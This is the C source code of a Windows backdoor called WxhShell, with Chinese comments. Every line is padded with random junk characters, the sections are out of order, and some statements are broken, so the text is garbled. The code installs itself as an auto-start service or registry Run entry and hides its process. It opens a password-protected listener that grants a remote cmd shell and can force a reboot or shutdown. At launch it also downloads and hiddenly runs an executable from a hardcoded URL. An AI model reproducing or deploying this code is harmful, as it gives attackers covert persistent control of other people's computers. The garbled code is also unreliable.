    if(Boot(REBOOT)) !8$}]uWP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); moGbBkO  
    else { [*(MI 9WM  
    closesocket(wsh); }`(k X]][  
    ExitThread(0); =|V3cM4'  
    } shB(kb{{  
    break; g7pFOcV  
    } cD\Qt9EI  
  // 关机 BI s!  
  case 'd': { :Z)s'd.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8"@<s?0\"  
    if(Boot(SHUTDOWN)) &zR}jD>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Xw/ t>  
    else { >,v~,<3 i  
    closesocket(wsh); 1NTe@r!y  
    ExitThread(0); U7W ct %  
    } 6!$S1z#wM  
    break; bu.36\78  
    }  ;"3Mm$  
  // 获取shell .&Z Vy{uP  
  case 's': { {:Q2Itsy  
    CmdShell(wsh); |Yx8Ez  
    closesocket(wsh); :1iw_GhJf  
    ExitThread(0); A28w/ =e7  
    break; 3O.-'U1K  
  } :/3`+&T^/  
  // 退出 v#6.VUAw  
  case 'x': { M3''xrpC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |lv4X }H  
    CloseIt(wsh); >@X=E3  
    break; 1;h>^NOq  
    } {MS&t09Wh  
  // 离开 P+/L, u  
  case 'q': { gSC@uf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Pzqgg43Xf  
    closesocket(wsh); Z`W.(gua  
    WSACleanup(); ;KhYh S(q  
    exit(1); ;?rW`e2  
    break; 3"".kf,O5e  
        } H Ow hl  
  } _eF*8 /z  
  } ,%C$~+xjM  
(mEZ4yM  
  // 提示信息 IkvH8E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (Cq-8**dY  
} `'93J wYb  
  } kxP6#8*:  
yU\|dL  
  return; %guot~S|  
} YP7<j*s8  
z7CYYU?  
// shell模块句柄 #wo_  
int CmdShell(SOCKET sock) 4eKJ\Q=nX5  
{ ;#+#W+0  
STARTUPINFO si; YcI]_[  
ZeroMemory(&si,sizeof(si)); 5Ql6?U HD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]Cj&C/(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  4@5<B  
PROCESS_INFORMATION ProcessInfo; X>CYKRtb  
char cmdline[]="cmd"; DFiexOb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5u&jNU5m_  
  return 0; L]V K9qB  
}  }N[sydL  
)*uI/E  
// 自身启动模式 r'8e"pTi  
int StartFromService(void) 3S,pd0;  
{ ex['{|a{  
typedef struct kSDV#8 uZ  
{ `XD$1>  
  DWORD ExitStatus; B4b UcYk  
  DWORD PebBaseAddress; czp5MU_^  
  DWORD AffinityMask; QhZ%<zN  
  DWORD BasePriority; q"Xls(  
  ULONG UniqueProcessId; CI,-q i  
  ULONG InheritedFromUniqueProcessId; V;z?m)ur  
}   PROCESS_BASIC_INFORMATION; WlY%f}l n  
^'h~#7s  
PROCNTQSIP NtQueryInformationProcess; ugCc&~`  
ovHbs^H%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !xlVyt5e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bUBuJ  
^,X+ n5q;m  
  HANDLE             hProcess; HCP Be2  
  PROCESS_BASIC_INFORMATION pbi; ."lY>(HJ  
ED6H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q.N^1?(>k  
  if(NULL == hInst ) return 0; WgIVhj  
V=c&QPP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f="}.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;9^B# aTM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0e:aeLh  
6(z.(eT  
  if (!NtQueryInformationProcess) return 0; ]*@7o^4i  
Vf:t!'WD?2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bi5'-.B  
  if(!hProcess) return 0; bNC1[GG[  
9Hu%Z/[!p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0+L5k!1D  
C>;}CH|X  
  CloseHandle(hProcess); iU3co|q7  
NO<myN+N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DQ~@=%?ni  
if(hProcess==NULL) return 0; . v;Npm2  
.-r 1.'.A  
HMODULE hMod; "ZH1W9A  
char procName[255]; =gj]R  
unsigned long cbNeeded; )FB)ZK;  
4Qw!YI#40$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jn&(v"_  
|k^X!C0  
  CloseHandle(hProcess); 3B_S>0H"$  
LWW0lG!_F  
if(strstr(procName,"services")) return 1; // 以服务启动 {C3bCVQ]o  
g ` Wr3  
  return 0; // 注册表启动 rg $71Ir  
} {c$W-t):U|  
 $% jV%k  
// 主模块 M_PL{  
int StartWxhshell(LPSTR lpCmdLine) d BJM?/  
{ b w cPY  
  SOCKET wsl; /r)d4=1E  
BOOL val=TRUE; /qz( ra  
  int port=0; M- -6oR7  
  struct sockaddr_in door; 3~ qgvAr  
s^AYPmR6  
  if(wscfg.ws_autoins) Install(); ,7'l$-rl  
xNx!2MrR;  
port=atoi(lpCmdLine); *BF1 Sso  
2^juLXc|R  
if(port<=0) port=wscfg.ws_port; zgO?%O  
CfVz'  
  WSADATA data; {d3r>Ub)7d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =\q3;5[  
rsIjpPa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^RY_j>i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UgUW4x'+  
  door.sin_family = AF_INET; jW6@U%[!b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wOOPuCw?  
  door.sin_port = htons(port); kt@+UK."  
h rZ\ O?j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qdtfi1_Y1  
closesocket(wsl); $k!t&G  
return 1; Zw }7vD0  
} ld3,)ZY  
oc15!M3$  
  if(listen(wsl,2) == INVALID_SOCKET) { 2;q6~Y,  
closesocket(wsl); D6 M:pIN*  
return 1; f[X>?{q  
} EswM#D 9(4  
  Wxhshell(wsl); ^x4gUT-Wy  
  WSACleanup(); SmRU!C$A  
;A|6&~E0G  
return 0; +x WT)h/  
(;s \Ip0  
} j\W+wnAgk  
o`& idn|,  
// 以NT服务方式启动 j6Vuj/+}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q'W`t>2T  
{ {i=qx#2X?H  
DWORD   status = 0; `; `34t_)  
  DWORD   specificError = 0xfffffff; Hiq9Jn uv(  
mxXQBmW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pa.W-qyu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r^]0LJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &^z~wJ,]  
  serviceStatus.dwWin32ExitCode     = 0; G;tIhq[$Vb  
  serviceStatus.dwServiceSpecificExitCode = 0; Z'u`)jR  
  serviceStatus.dwCheckPoint       = 0; rMI:zFS  
  serviceStatus.dwWaitHint       = 0; GSMP)8 W  
LNr2YRpyz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8I@_X~R  
  if (hServiceStatusHandle==0) return; (+9@j(  
DTJ~.  
status = GetLastError(); wD*_S}]  
  if (status!=NO_ERROR) =!p6}5Z  
{ YWm:#{n.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ble <n6  
    serviceStatus.dwCheckPoint       = 0; h883pe=  
    serviceStatus.dwWaitHint       = 0; Qx {/izc  
    serviceStatus.dwWin32ExitCode     = status; ($ae n  
    serviceStatus.dwServiceSpecificExitCode = specificError; zRu}lJ1#W$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b7=]"|c$@  
    return; 1N2:4|woe  
  } d`v]+HK  
}B"kJNxV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {lqnn n3  
  serviceStatus.dwCheckPoint       = 0; \b' <q  
  serviceStatus.dwWaitHint       = 0; bZ0r/f,n$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c.NAUe_3  
} '!Q[+@$  
5<&<61[A  
// 处理NT服务事件,比如:启动、停止 8p PAEf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qG~O] ($  
{ V-t!  
switch(fdwControl) d]+g3oy `  
{ 3{ `fT5]U  
case SERVICE_CONTROL_STOP: u0N1+-6kr+  
  serviceStatus.dwWin32ExitCode = 0; 6n<:ph,h;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zaX30e:R  
  serviceStatus.dwCheckPoint   = 0; >\MV/!W  
  serviceStatus.dwWaitHint     = 0; Ff.gRx  
  { /\C9FGS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vk{dL'  
  } $S6AqUk$  
  return; ?-*_v//g  
case SERVICE_CONTROL_PAUSE: 3vmZB2QG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MTa.Ubs  
  break; _ 57m] ;&  
case SERVICE_CONTROL_CONTINUE: Y]ZOvA5W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tR*J M$T  
  break; Z~$fTW6g  
case SERVICE_CONTROL_INTERROGATE: FJ~Dg3F1  
  break; VNaa(Q  
}; tZ4W]od  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )PR{ia64;<  
} Z1*y$=D?3[  
E5.)ro=$  
// 标准应用程序主函数 /J1O{L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *"4 OXyV  
{ ;Q-(tGd  
(%\N-[yZ  
// 获取操作系统版本 eBG7]u,Q  
OsIsNt=GetOsVer(); O+c@B}[!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iv\?TAZC  
{cC9 }w  
  // 从命令行安装 [O9(sWL'  
  if(strpbrk(lpCmdLine,"iI")) Install(); )7:2v1Xr]  
.}2^YOmd  
  // 下载执行文件 "o% N`Xlx  
if(wscfg.ws_downexe) { %Wn/)#T|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~E#>2Mh  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9fyk7~ V  
} Fj -mo>"  
O Y/QA  
if(!OsIsNt) { ss |<\DE+  
// 如果时win9x,隐藏进程并且设置为注册表启动 omY%sQ{)  
HideProc(); <(;"L<?D<C  
StartWxhshell(lpCmdLine); s +^YGB  
} mJ[LmQ<:  
else 'V .4Nhd  
  if(StartFromService()) $d4eGL2S  
  // 以服务方式启动 ^[lg1uMW  
  StartServiceCtrlDispatcher(DispatchTable); _q M'm^z5  
else N%n#mV;  
  // 普通方式启动 if r!ha+8!  
  StartWxhshell(lpCmdLine); Nmns3D  
R7( + ^%  
return 0; lB.P   
} U*1rA/"n  
r B)m{)  
8Q?)L4.]  
p%_r0  
=========================================== DBbmM*r  
j=M_>  
0g~WM  
^=}~  
T&6{|IfM_  
*ofK|r  
" K-(,,wS  
"pQM$3n(  
#include <stdio.h> 9^)ochY3  
#include <string.h> (Sv7^}j  
#include <windows.h> R84 g<  
#include <winsock2.h> 2-. g>'W  
#include <winsvc.h> }mk9-7  
#include <urlmon.h> fw'$HV76  
L*Xn!d%  
#pragma comment (lib, "Ws2_32.lib") m},nKsO  
#pragma comment (lib, "urlmon.lib") v6;XxBR6  
Y)?4OB=n  
#define MAX_USER   100 // 最大客户端连接数 I?Hj,lN  
#define BUF_SOCK   200 // sock buffer "-90:"W  
#define KEY_BUFF   255 // 输入 buffer }ZlJ  
?9 m3y0  
#define REBOOT     0   // 重启 Y+F$]!hw  
#define SHUTDOWN   1   // 关机 GL9R 5  
(+q?xwl!N  
#define DEF_PORT   5000 // 监听端口 P2!@^%o  
wwmMpK}f  
#define REG_LEN     16   // 注册表键长度 LPvyfD;Zy  
#define SVC_LEN     80   // NT服务名长度 *.~hn5Y|?  
)j]S ;Mr  
// 从dll定义API 9Or3X/:o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !s9<%bp3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `9kjYSd#E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7a-> "W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8pg?g'A~}  
Zj[Bm\ 8  
// wxhshell配置信息 f @Hp,-  
struct WSCFG { :DR G=-M  
  int ws_port;         // 监听端口 8~Rja  
  char ws_passstr[REG_LEN]; // 口令 tlA4oVII  
  int ws_autoins;       // 安装标记, 1=yes 0=no *B#<5<T  
  char ws_regname[REG_LEN]; // 注册表键名 ;_%61ZI?M<  
  char ws_svcname[REG_LEN]; // 服务名 GL.& g{$#+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^Qs-@]E-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s"=e (ob  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \b1I<4(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;yx+BaG~?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cJGA5m/{I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \"<&8  
P (_:8|E  
}; N V^ktln  
(IAl$IP63s  
// default Wxhshell configuration k'xnl"q  
struct WSCFG wscfg={DEF_PORT, <xOpm8  
    "xuhuanlingzhe", 8L|rj4z<#  
    1, +d2+w1o^V  
    "Wxhshell", 3Yp_k  
    "Wxhshell", OHR9u  
            "WxhShell Service", V89!C?.[]1  
    "Wrsky Windows CmdShell Service", 7Q/v#_e(  
    "Please Input Your Password: ", LGgEq -  
  1, |&o1i~Y  
  "http://www.wrsky.com/wxhshell.exe", BB1'B-O  
  "Wxhshell.exe" LrsP4G  
    }; 7?]gUrE  
jcYI"f"~  
// 消息定义模块 :2 n5;fp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [64K?l0&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C;OU2,c,T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tv,^ Q}  
char *msg_ws_ext="\n\rExit."; YL;ZZ2A  
char *msg_ws_end="\n\rQuit."; @lc1Ipfk"  
char *msg_ws_boot="\n\rReboot..."; X.o[=E  
char *msg_ws_poff="\n\rShutdown..."; nsaf6y&E  
char *msg_ws_down="\n\rSave to "; qWy{{ A+  
.]k(7F!W  
char *msg_ws_err="\n\rErr!"; %Jq(,u  
char *msg_ws_ok="\n\rOK!"; q}M^i7IE  
C' o4Su#  
char ExeFile[MAX_PATH]; q@8Rlc&  
int nUser = 0; TXH: +mc  
HANDLE handles[MAX_USER]; 3r%I *  
int OsIsNt; b,#cc>76\  
ahhVl=9/ao  
SERVICE_STATUS       serviceStatus; ygd'Nh!@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #D .H2'_}  
<T+Pw7X   
// 函数声明 $lU~3I)  
int Install(void); __-rP  
int Uninstall(void); R0gjx"U  
int DownloadFile(char *sURL, SOCKET wsh); R =mawmQ2  
int Boot(int flag); &+J5GHt@  
void HideProc(void); Yn'XSV|g  
int GetOsVer(void); 1;?b-FEq:  
int Wxhshell(SOCKET wsl); ) ok_"wB  
void TalkWithClient(void *cs); tJ&S&[}  
int CmdShell(SOCKET sock); H_o<!YxK  
int StartFromService(void);  &j2L- )  
int StartWxhshell(LPSTR lpCmdLine); V<\:iNXX{  
%[B &JhT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u8~.6]Ae  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?$ Uk[  
4TG g`$e;  
// 数据结构和表定义 Rdwr?:y(]  
SERVICE_TABLE_ENTRY DispatchTable[] = wAVO%8u  
{ :kOLiko!4>  
{wscfg.ws_svcname, NTServiceMain}, oMkB!s  
{NULL, NULL} ?Xlmt$Jp  
}; rw ^^12)  
"P&|e|7  
// 自我安装 #Ru+|KL  
int Install(void) %Kw5 b ;  
{ ?N,a {#w  
  char svExeFile[MAX_PATH]; 2a (w7/W:  
  HKEY key; }]=b%CPJh+  
  strcpy(svExeFile,ExeFile); f|m.v +7k  
Jn' q'+  
// 如果是win9x系统,修改注册表设为自启动 FnvN 4h{S  
if(!OsIsNt) { cd) <t8^KE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (xG#D;M0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w^A8ZT0^7  
  RegCloseKey(key); |jEKUTv,G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DS=kSkW^&5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~ Y4H)r  
  RegCloseKey(key); h:a5FK@  
  return 0; 8p-5.GU)<e  
    } E4T?8TO$o%  
  } L((z;y>q|  
} ["Z]K'?P  
else { ~ W52Mbf  
0aQNdi)b  
// 如果是NT以上系统,安装为系统服务 _&19OD%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l1gAm#  
if (schSCManager!=0) FT[wa-b  
{ U5dJ=G  
  SC_HANDLE schService = CreateService y!blp>V6  
  ( CW*6 -q  
  schSCManager,  T~ /Bf  
  wscfg.ws_svcname, j<8_SD=,  
  wscfg.ws_svcdisp, u vc0"g1h  
  SERVICE_ALL_ACCESS, C/<fR:`c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jdXkU  
  SERVICE_AUTO_START, /n@_Ihx  
  SERVICE_ERROR_NORMAL, e}(. u1  
  svExeFile, *q|.H9 K(  
  NULL, tE(x8>5A:  
  NULL, E 7;KG^  
  NULL, :}+U?8/"7  
  NULL, IR5 S-vO  
  NULL $daI++v`  
  ); KD-0NO=oL  
  if (schService!=0) AJC Wp4,  
  { qf4|!UR{  
  CloseServiceHandle(schService); &7E0H{  
  CloseServiceHandle(schSCManager); MCz +l0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8%arA"#S  
  strcat(svExeFile,wscfg.ws_svcname); \ 8ulX>]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EpOVrk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Sn7.KYS  
  RegCloseKey(key); Wj8\~B=('  
  return 0; ]r'b(R; S  
    } 68;,hS*|6  
  } x03GJy5  
  CloseServiceHandle(schSCManager); ] A<\ d  
} 3j]La  
} P)(Ly5$*  
D;BFl(l  
return 1; kki]6_/n  
} C UlANd"  
T/-PSfbkj  
// 自我卸载 o"7,CQye  
int Uninstall(void) w?oIKj  
{ IW6;ZDP  
  HKEY key; *`|.:'  
cMC1|3  
if(!OsIsNt) { @<>](4D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lJ}G"RTm  
  RegDeleteValue(key,wscfg.ws_regname); sBwkHsDD  
  RegCloseKey(key); <ywxz1i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~uzu*7U  
  RegDeleteValue(key,wscfg.ws_regname); "O9uz$  
  RegCloseKey(key); gl2~6"dc  
  return 0; :_)Xe*O  
  } zT!JHG  
} _.?$~;7  
} kIU"-;5tP  
else { <:q]t6]$  
JOenVepQ,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J5@_OIc1y  
if (schSCManager!=0) mEyZ<U9  
{ A3C<9wXx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D2>=^WP6+  
  if (schService!=0) i+21tG$  
  { *AZC{jP  
  if(DeleteService(schService)!=0) { :S~XE  
  CloseServiceHandle(schService); @HIC i]  
  CloseServiceHandle(schSCManager); j><.tA~i  
  return 0; li/IKS)e$  
  } _wZ(%(^I  
  CloseServiceHandle(schService); /x0zZ+}V  
  } M~ynJ@q  
  CloseServiceHandle(schSCManager); z4UeUVfZ}  
} ZLE4 XB]  
} s49 AF  
w y:USS?  
return 1; pBK[j ([  
} f{* G%  
]E[Mv} =  
// 从指定url下载文件 gmJJ(}HVz  
int DownloadFile(char *sURL, SOCKET wsh) #G)ZhgB^  
{ `S$BBF;  
  HRESULT hr; 8I@= ?  
char seps[]= "/"; MJ}VNv|S  
char *token; ,^AkfOY7"  
char *file; (Q#A Br8  
char myURL[MAX_PATH]; 89'nbg  
char myFILE[MAX_PATH]; <Ni]\-*  
}{j[  
strcpy(myURL,sURL); 47ir QK*  
  token=strtok(myURL,seps); eR8h4M~O  
  while(token!=NULL) k\HRG@ /G  
  { ec"L*l"  
    file=token; vERsrg;(  
  token=strtok(NULL,seps); 7v%~^l7:x  
  } ~q-|cl<  
W9a H]9b  
GetCurrentDirectory(MAX_PATH,myFILE); ;I5HMc_a"  
strcat(myFILE, "\\"); mgH4)!Z*56  
strcat(myFILE, file); Tvf]OJ9N  
  send(wsh,myFILE,strlen(myFILE),0); 6 `X#<#_&  
send(wsh,"...",3,0); ug UV`5w   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }v=q6C#Q>  
  if(hr==S_OK) el+euOV  
return 0; 7th&C,c&  
else ~3/>;[!  
return 1; 0($MN]oZa  
15Yy&9D  
} s- g[B(  
W!GgtQw{F  
// 系统电源模块 ]%shs  
int Boot(int flag) 3&x_%R  
{ @kI^6(.  
  HANDLE hToken; Jw;J$ u!d  
  TOKEN_PRIVILEGES tkp; i1|-  
ffuV$#  
  if(OsIsNt) { lEQn2+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @}aK\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $n(@hT>?  
    tkp.PrivilegeCount = 1; <(s+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s{< rc>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MEq ()}7P  
if(flag==REBOOT) { 0D$+WX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $zxCv7  
  return 0; U/0NN>V  
} "QGP]F  
else { fv<($[0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f8'&(-  
  return 0; B6$s*SXNp  
} ]yCmGt+b  
  } }b6ja y  
  else { b>I -4  
if(flag==REBOOT) { $~zqt%}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r(i<H%"Z  
  return 0; :^J(%zy  
} '<4OA!,^)  
else { O{SU,"!y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 63-`3R?;  
  return 0; #Cbn"iYee  
} Hsx`P  
} Z*s/%4On  
_3hCu/BV  
return 1; kTs)u\r.  
} :~U1JAs$  
!=k\Rr@qx  
// win9x进程隐藏模块 cs~ }k7><  
void HideProc(void) _;X# &S(q-  
{ UmInAH4  
%oC]Rpdu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \=,+weGw@  
  if ( hKernel != NULL ) B^{bXhDp  
  { v|QFUa`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kwZC 3p\\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fs~n{z,ja%  
    FreeLibrary(hKernel); Njz,y}\  
  } Oh<Z0M)  
v8-F;>H  
return; _qJ[~'m<^C  
} 2ORWdR.b  
oBKZ$&_h  
// 获取操作系统版本 >nvreis  
int GetOsVer(void) $0iz;!w  
{ !4I?59  
  OSVERSIONINFO winfo; "wexG]R=5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |K/#2y~  
  GetVersionEx(&winfo); P|_?{1eO2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;?h#',(p  
  return 1; U{eC^yjt"o  
  else bKG:_mWe w  
  return 0; ~g>15b3  
} Tff7SEP  
hMhD(X  
// 客户端句柄模块 iT9cw`A^%  
int Wxhshell(SOCKET wsl) b LSI\  
{ ?aO%\<b  
  SOCKET wsh; _lyP7$[: c  
  struct sockaddr_in client; "LXLUa03  
  DWORD myID; My_fm?n  
4ol=YGCI_  
  while(nUser<MAX_USER) k]; <PF  
{ sks_>BM  
  int nSize=sizeof(client); 2tn%/gf'm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BQ_\8Qt|  
  if(wsh==INVALID_SOCKET) return 1; 7{az %I$h  
sy/J+==  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YJeZ{Wws  
if(handles[nUser]==0) nGX~G^mZ  
  closesocket(wsh); _Y\@{T;^Zb  
else vk;>#yoox  
  nUser++; !Me%W3  
  } 3]xnKb|W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +=u*!6S  
eQ9{J9)?  
  return 0; br$!}7#=L  
} ^Fb"Is#S,  
cr,o<  
// 关闭 socket y%E R51+  
void CloseIt(SOCKET wsh) (IJf2  
{ f&^Ea-c  
closesocket(wsh); Y k~ i.p  
nUser--; |[k6X=5  
ExitThread(0); X]  Tb4  
} _mXq]r0  
% k$+t  
// 客户端请求句柄 h/-7;Csv  
void TalkWithClient(void *cs) !dVcnK1  
{ R>pa? tQgK  
b39;Sv|#  
  SOCKET wsh=(SOCKET)cs; >k_Z]J6Pd  
  char pwd[SVC_LEN]; !v`q%JW(  
  char cmd[KEY_BUFF];  s.GTY@t  
char chr[1];  w8FZXL  
int i,j; HzbO#)Id-I  
C. 8>  
  while (nUser < MAX_USER) { Ds L]o  
|nU:  
if(wscfg.ws_passstr) { iF61J% 3-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,ISq7*%F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B;1wnKdj  
  //ZeroMemory(pwd,KEY_BUFF); L[TL~@T   
      i=0; f()^^+  
  while(i<SVC_LEN) { d5^ipu  
=7Tbu'O;  
  // 设置超时 dVe3h.,[v  
  fd_set FdRead; K7e<hdP_#  
  struct timeval TimeOut; %q ja:'k  
  FD_ZERO(&FdRead); jGt'S{  
  FD_SET(wsh,&FdRead); n!HFHy2  
  TimeOut.tv_sec=8; DgOoEHy[  
  TimeOut.tv_usec=0; ~Ycz(h'(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e$F7wto  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1{";u"q  
<!DOCvd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ax7 M  
  pwd=chr[0]; Z.<1,EKi=  
  if(chr[0]==0xd || chr[0]==0xa) { z^B!-FcIz>  
  pwd=0; +H ="5uO<  
  break; V!FzVl=G  
  } ]p0m6}B  
  i++; i1aS2gFi_  
    } }zLe;1Tx  
hih`:y  
  // 如果是非法用户,关闭 socket S@_@hFV jd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *jA%.F  
} @Cqg 2  
ZTt% 7K"L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $RA"NIZ:!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q &jW{  
tQ2*kE  
while(1) { k"Sw,"e>+  
@}fnR(fS  
  ZeroMemory(cmd,KEY_BUFF); LGod"8~U  
#o yvsS8  
      // 自动支持客户端 telnet标准   BA t2m-  
  j=0; hk,Q=};  
  while(j<KEY_BUFF) { \DGm[/P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Aoa0czC~  
  cmd[j]=chr[0]; DlIfr6F  
  if(chr[0]==0xa || chr[0]==0xd) { Pu axS  
  cmd[j]=0; fJ\Ys;l[j  
  break; ^/g&Q  
  } bXC 0f:L  
  j++; e,1Jxz4QH  
    } GSpS8wWD }  
v8pUt\m"  
  // 下载文件 jl:O~UL6i  
